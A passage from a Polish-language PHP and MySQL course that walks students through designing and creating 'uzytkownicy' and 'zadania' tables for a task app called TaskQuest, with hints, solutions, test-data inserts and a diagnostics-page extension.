<li>klasę <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int $id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool $wykonane</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int $xp</code>,</li>



<li>reguły z <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>: tytuł wymagany, najwyżej 100 znaków; opis najwyżej 300 znaków (może być pusty); termin wymagany, poprawna data; XP to liczba całkowita 1–100,</li>



<li>relację z 3.6: każde zadanie ma właściciela.</li>
</ul>



<p class="wp-block-paragraph">Dla każdej kolumny podaj: <strong>nazwę, typ, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, ewentualnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code>, i czy jest kluczem</strong>. Kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> na razie <strong>pomiń</strong>. Zajmiemy się nią w 4b.</p>



<p class="wp-block-paragraph">Efekt: tabelka w rodzaju</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">kolumna        | typ           | NULL?    | inne
id             | ...           | ...      | ...
...</code></pre>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Idź po kolei po właściwościach klasy i zadaj sobie przy każdej trzy pytania: jaki typ w PHP → jaki typ w bazie? Czy wartość może nie istnieć? Jaki jest limit długości albo zakres? Nie zapomnij o kolumnie, której <strong>nie ma</strong> w klasie, a jest potrzebna do relacji.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code> z limitem → <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(limit)</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> nieujemny → <code class="prettyprint lang-sql" style="font-size: 0.85em;">INT UNSIGNED</code>,</li>



<li>termin → <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>,</li>



<li>klucz główny wygląda jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>,</li>



<li>właściciel: kolumna typu <strong>takiego samego jak</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy.id</code> (klucz obcy musi mieć zgodny typ).</li>
</ul>



<p class="wp-block-paragraph">Opis może być pusty. Czy to znaczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, czy pusty tekst? Pomyśl, co dziś zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzOpis()</code> dla zadania bez opisu i jaki typ ma właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$opis</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">kolumna        | typ           | NULL?    | inne
id             | INT UNSIGNED  | NOT NULL | PRIMARY KEY, AUTO_INCREMENT
uzytkownik_id  | INT UNSIGNED  | NOT NULL | FOREIGN KEY → uzytkownicy(id), ON DELETE CASCADE
tytul          | VARCHAR(100)  | NOT NULL |
opis           | VARCHAR(300)  | NOT NULL | DEFAULT ''
termin         | DATE          | NOT NULL |
xp             | INT UNSIGNED  | NOT NULL |
</code></pre>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL DEFAULT ''</code></strong>: właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$opis</code> jest typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code> (nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>), a zadanie bez opisu ma dziś opis <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code>. Brak opisu to pusty tekst, nie „nie wiadomo”. Gdyby kolumna dopuszczała <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, w PHP trzeba by obsługiwać dwa różne „puste” przypadki.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code></strong>: zadanie bez właściciela nie istnieje.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code></strong>: nie ma sensownej domyślnej nagrody; formularz zawsze ją podaje. Zakresu 1–100 nie wymusza <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code> (to tylko „≥ 0”). Pilnuje go <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>. Wymuszenie zakresu w bazie to zadanie końcowe B.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(300)</code> wystarcza na opis. Dla bardzo długich tekstów (np. treść artykułu) jest typ <code class="prettyprint lang-sql" style="font-size: 0.85em;">TEXT</code>, ale opis TaskQuest jest krótki i ma limit.</li>
</ul>
</details>



<h2 class="wp-block-heading">4b. SAMODZIELNIE — jak zapisać, że zadanie jest wykonane?</h2>



<p class="wp-block-paragraph">Od lekcji o datach streak jest liczony „na niby”. Zadania nie mają daty wykonania, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> znaczy tylko „na liście jest choć jedno wykonane zadanie”. Do prawdziwego streaka będziemy potrzebowali wiedzieć, <strong>kiedy</strong> zadanie wykonano.</p>



<p class="wp-block-paragraph">Masz trzy propozycje:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">A) wykonane TINYINT(1) NOT NULL DEFAULT 0          (0/1, jak w CSV)
B) wykonane TINYINT(1) + data_wykonania DATE NULL  (dwie kolumny)
C) data_wykonania DATE NULL                         (NULL = niewykonane)
</code></pre>



<p class="wp-block-paragraph">Odpowiedz na pytania:</p>



<ol class="wp-block-list">
<li>Która propozycja nie pozwala policzyć prawdziwego streaka?</li>



<li>W propozycji B wpisz wiersz, w którym dane sobie <strong>przeczą</strong>. Ile takich sprzecznych kombinacji istnieje?</li>



<li>Jak w propozycji C sprawdzić, czy zadanie jest wykonane?</li>



<li>Którą wybierasz i dlaczego? Skorzystaj z zasady z 3.5.</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Zasada z 3.5 dotyczyła XP i poziomu. Czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> da się <strong>obliczyć</strong> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>?</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<ol class="wp-block-list">
<li><strong>A</strong>: nie wiadomo, kiedy zadanie wykonano.</li>



<li>Na przykład <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane = 0, data_wykonania = '2026-09-14'</code> („niewykonane, wykonane 14 września”) albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane = 1, data_wykonania = NULL</code>. Są <strong>dwie</strong> sprzeczne kombinacje i baza nie wie, która kolumna mówi prawdę.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> nie jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> → wykonane.</li>



<li><strong>C</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> da się obliczyć z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>, dokładnie tak jak poziom z XP. Jedna kolumna, zero sprzeczności, a przy okazji mamy datę, której potrzebuje prawdziwy streak.</li>
</ol>



<p class="wp-block-paragraph">Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> <strong>nie zmienia się</strong>: nadal ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool $wykonane</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyWykonane()</code>. Przy tworzeniu obiektu z wiersza bazy wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> obliczymy w PHP. Przećwiczysz to w sekcji 6.</p>



<p class="wp-block-paragraph">Kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> wybieramy jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>, bo streak liczy dni, a nie godziny. Ten sam typ mają <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code>.</p>
</details>



<h1 class="wp-block-heading">5. Włączamy bazę do TaskQuest</h1>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Od tego miejsca pracujesz na projekcie.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> z sekcji 3.3 zostaw. Przyda się jeszcze w sekcji 6, potem go usuniesz.</p>
</blockquote>



<h2 class="wp-block-heading">Krok 1 — utwórz bazę <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code></h2>



<ol class="wp-block-list">
<li>W phpMyAdmin kliknij zakładkę <strong>Bazy danych</strong>.</li>



<li>Nazwa: <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>.</li>



<li>Metoda porównywania napisów: <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code></strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code> to pełne UTF-8, łącznie z emoji. <code class="prettyprint lang-sql" style="font-size: 0.85em;">unicode_ci</code> określa, jak porównywać i sortować teksty: <code class="prettyprint lang-sql" style="font-size: 0.85em;">ci</code> = <em>case insensitive</em>, czyli wielkość liter nie ma znaczenia przy porównywaniu. Test 2 pokaże, co to oznacza dla loginów.</li>



<li><strong>Utwórz</strong>. Baza pojawi się w lewym panelu.</li>
</ol>



<h2 class="wp-block-heading">Krok 2 — SAMODZIELNIE: plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>, część 1: tabele</h2>



<p class="wp-block-paragraph">Struktury bazy nie „wyklikujemy”, tylko zapisujemy w pliku. Dzięki temu jest częścią projektu i można ją odtworzyć na każdym komputerze jednym uruchomieniem. W zespołach programistycznych robi się dokładnie tak.</p>



<p class="wp-block-paragraph">W katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> utwórz katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/</code>, a w nim plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>. Plik ma zawierać, w tej kolejności:</p>



<ol class="wp-block-list">
<li>komentarz na górze: co to za plik i jak go uruchomić (komentarz w SQL zaczyna się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">-- </code>, z odstępem po dwóch minusach),</li>



<li>usunięcie starych tabel, jeśli istnieją: <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS nazwa;</code>. Dzięki temu skrypt można uruchamiać wiele razy. <strong>Zastanów się nad kolejnością</strong> (która tabela zależy od której?),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy</code> z sekcji 3.4,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE zadania</code> według Twojego projektu z sekcji 4 i decyzji z 4b, z kluczem obcym z 3.6 i tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">CHARSET</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">COLLATE</code> co <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>. Kolejność kolumn: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>, a dalej jak w CSV (<code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> w miejscu dawnego <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>).</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Tabeli, na którą wskazuje klucz obcy, nie da się usunąć, dopóki istnieje tabela, która na nią wskazuje. Tworzenie idzie w odwrotnej kolejności niż usuwanie. Klucz obcy dopisujesz jako ostatnią linię wewnątrz nawiasu <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code>, po przecinku.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">-- TaskQuest 1.7 — struktura bazy danych i dane testowe
-- Uruchom w phpMyAdmin: baza taskquest → zakładka SQL → wklej całość → Wykonaj.
-- Skrypt można uruchamiać wiele razy: najpierw usuwa stare tabele (RAZEM Z DANYMI!).

DROP TABLE IF EXISTS zadania;
DROP TABLE IF EXISTS uzytkownicy;

CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NULL,
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE zadania (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    uzytkownik_id INT UNSIGNED NOT NULL,
    tytul VARCHAR(100) NOT NULL,
    opis VARCHAR(300) NOT NULL DEFAULT '',
    termin DATE NOT NULL,
    data_wykonania DATE NULL,
    xp INT UNSIGNED NOT NULL,
    FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(255)</code>, bo funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> z Lekcji 19 zwraca tekst, którego długość może rosnąć w nowych wersjach PHP. Dokumentacja PHP zaleca kolumnę na 255 znaków.</p>
</details>



<h2 class="wp-block-heading">Krok 3 — SAMODZIELNIE: plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>, część 2: dane testowe</h2>



<p class="wp-block-paragraph">Pod tabelami dopisz dwa polecenia <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>:</p>



<ol class="wp-block-list">
<li><strong>użytkownicy</strong>: Kama i Ola, dokładnie jak w sekcji 3.7,</li>



<li><strong>zadania</strong>:
<ul class="wp-block-list">
<li><strong>wszystkie zadania z Twojego <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code></strong> jako zadania Kamy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> = 1),</li>



<li><strong>jedno nowe zadanie Oli</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> = 2), dowolne, niewykonane. Dzięki niemu w bazie będą zadania dwóch różnych właścicieli.</li>
</ul>
</li>
</ol>



<p class="wp-block-paragraph">Zasady przepisywania z CSV:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>W CSV</th><th>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code></th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code></td><td><strong>pomiń</strong>: numery nada <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code></td><td>przepisz <strong>bez zmian</strong>, także „brudne” spacje w tytułach (czyści je <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code> przy wyświetlaniu)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code></td><td>bez zmian</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-09-14'</code> (CSV nie zna daty wykonania, bierzemy symulowaną datę ostatniej aktywności Kamy)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code></td><td>bez zmian (liczba bez apostrofów)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Apostrof wewnątrz tekstu (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Rock'n'roll</code>) w SQL piszemy podwójnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'Rock''n''roll'</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Dlaczego Kama to na pewno <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> = 1, a Ola = 2? Skrypt przed chwilą utworzył tabelę od nowa, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code> zaczyna od 1, a Kama jest wstawiana jako pierwsza.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 250, 0, NULL);

INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, data_wykonania, xp) VALUES
(1, '   Nauczyć   się regexów   PHP   ', 'tu opis z CSV', '2026-09-20', '2026-09-14', 20),
-- ... kolejne zadania z data/zadania.csv (uzytkownik_id = 1) ...
(2, 'Zaprojektować bazę TaskQuest', 'Tabele uzytkownicy i zadania, klucze i relacja 1:N.', '2026-10-05', NULL, 30);</code></pre>
</details>



<p class="wp-block-paragraph">Pierwszy wiersz to zadanie nr 1 z CSV: wykonane (<code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>), więc ma datę wykonania. Ostatni to zadanie Oli.</p>



<h2 class="wp-block-heading">Krok 4 — uruchom skrypt i sprawdź wynik</h2>



<ol class="wp-block-list">
<li><p>phpMyAdmin → kliknij bazę <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code></strong> w lewym panelu (to ważne: skrypt nie wybiera bazy sam) → zakładka <strong>SQL</strong>.</p></li>



<li><p>Wklej <strong>całą</strong> zawartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> → <strong>Wykonaj</strong>.</p></li>



<li><p>Błąd? Czytaj komunikat od końca: numer błędu i fragment „near '&#8230;&#8217;” wskazują miejsce. Popraw <strong>plik</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code> (nie tylko okienko w phpMyAdmin) i uruchom ponownie. Skrypt sam usunie to, co zdążył utworzyć.</p></li>



<li><p>Zakładka SQL:<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM uzytkownicy;<br />SELECT * FROM zadania;<br /></code>Sprawdź: 2 użytkowników, zadania Kamy mają <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> 1, zadanie Oli ma 2, wykonane zadania mają datę, niewykonane <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. Liczba zadań Kamy = liczba zadań w CSV.</p></li>



<li><p>Kliknij tabelę <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> → zakładka <strong>Struktura</strong>. Obejrzyj typy, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> i klucz. Przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> phpMyAdmin pokazuje indeks; baza tworzy go sama dla klucza obcego.</p></li>
</ol>



<h2 class="wp-block-heading">Krok 5 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> sprawdza gotowość do pracy z bazą</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> od Lekcji 10 sprawdza, czy projekt ma wszystkie potrzebne pliki. Rozbuduj ją o trzy rzeczy:</p>



<ol class="wp-block-list">
<li>do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> (będzie <strong>18</strong> ścieżek),</li>



<li>dodaj nową sekcję <strong>„Baza danych”</strong>:
<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK] Rozszerzenie mysqli jest włączone.</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">[BRAK] Rozszerzenie mysqli nie jest włączone — włącz extension=mysqli w php.ini.</code>,</li>



<li>liczbę i nazwy plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sql</code> w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/</code>,</li>
</ul>
</li>



<li>w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code> zmień wersję na <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.7</code>.</li>
</ol>



<p class="wp-block-paragraph">Zasada z Lekcji 10 obowiązuje dalej: diagnostyka <strong>nie łączy się z bazą</strong> i nie dołącza plików aplikacji. Ma działać nawet przy zepsutym projekcie. Dziś sprawdzamy tylko, czy PHP w ogóle <strong>potrafi</strong> rozmawiać z bazą.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Nie potrzebujesz nowej funkcji. Jedna wbudowana funkcja PHP z sekcji 3.3 daje odpowiedź <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. Do listy plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sql</code> masz własną funkcję z Lekcji 10, która ma parametr na rozszerzenie pliku. Sekcja „Pliki danych” (pliki <code class="prettyprint lang-sql" style="font-size: 0.85em;">.csv</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code>) robi prawie to samo.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisz na końcu listy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    'sql/taskquest.sql',
</code></pre>



<p class="wp-block-paragraph">Pod sekcją „Pliki danych” (tą, która korzysta z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiCsv</code>) dopisz nową sekcję, w tym samym stylu HTML co sekcje powyżej:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Baza danych&lt;/h2&gt;

&lt;?php if (extension_loaded('mysqli')) { ?&gt;
    &lt;p&gt;&#91;OK] Rozszerzenie mysqli jest włączone.&lt;/p&gt;
&lt;?php } else { ?&gt;
    &lt;p&gt;&#91;BRAK] Rozszerzenie mysqli nie jest włączone — włącz extension=mysqli w php.ini.&lt;/p&gt;
&lt;?php } ?&gt;

&lt;?php $plikiSql = listaPlikowWKatalogu('sql', 'sql'); ?&gt;
&lt;p&gt;Skrypty SQL w katalogu sql/: &lt;?= count($plikiSql); ?&gt;&lt;/p&gt;
&lt;ul&gt;
    &lt;?php foreach ($plikiSql as $plik) { ?&gt;
        &lt;li&gt;&lt;?= $plik; ?&gt;&lt;/li&gt;
    &lt;?php } ?&gt;
&lt;/ul&gt;
</code></pre>



<p class="wp-block-paragraph">Jeśli w Twojej <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> zmienne są obliczane na górze pliku, a na dole jest tylko HTML, przenieś linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiSql = ...</code> na górę, obok <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiCsv</code>. Zachowaj układ, który już masz.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.7&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>



<p class="wp-block-paragraph">Sprawdź: <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> → <strong>18 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK] Rozszerzenie mysqli jest włączone.</code>, 1 skrypt SQL: <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>
</details>



<h1 class="wp-block-heading">6. Kolejne zadanie — jak wiersz z bazy stanie się obiektem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code></h1>



<p class="wp-block-paragraph">W Lekcji 18 PHP pobierze z bazy wiersz zadania. Dostanie go jako tablicę asocjacyjną, której klucze to nazwy kolumn. Z niej trzeba będzie zbudować obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, tak jak dziś <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> buduje go z wiersza CSV. Przećwiczmy to już teraz, na wierszu „udawanym”.</p>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (zastąp poprzednią zawartość):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';

// Tak będzie wyglądał wiersz z tabeli zadania (na razie wpisany ręcznie):
$wiersz = &#91;
    'id' =&gt; 4,
    'uzytkownik_id' =&gt; 2,
    'tytul' =&gt; 'Zaprojektować bazę TaskQuest',
    'opis' =&gt; 'Tabele uzytkownicy i zadania, klucze i relacja 1:N.',
    'termin' =&gt; '2026-10-05',
    'data_wykonania' =&gt; null,
    'xp' =&gt; 30,
];

// TODO: utwórz $zadanie = new Zadanie(...) z argumentami nazwanymi

var_dump($zadanie-&gt;czyWykonane());
var_dump($zadanie-&gt;pobierzTytul());
</code></pre>



<p class="wp-block-paragraph"><strong>Zadanie:</strong></p>



<ol class="wp-block-list">
<li>Utwórz obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie</code> z danych <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz</code>, używając argumentów nazwanych (jak od Lekcji 15).</li>



<li>Obiekt potrzebuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>), a wiersz ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>. Oblicz to w miejscu wywołania konstruktora, <strong>bez zmieniania klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code></strong>.</li>



<li>Przewidź i sprawdź wynik dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, a potem dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-09-30'</code>.</li>



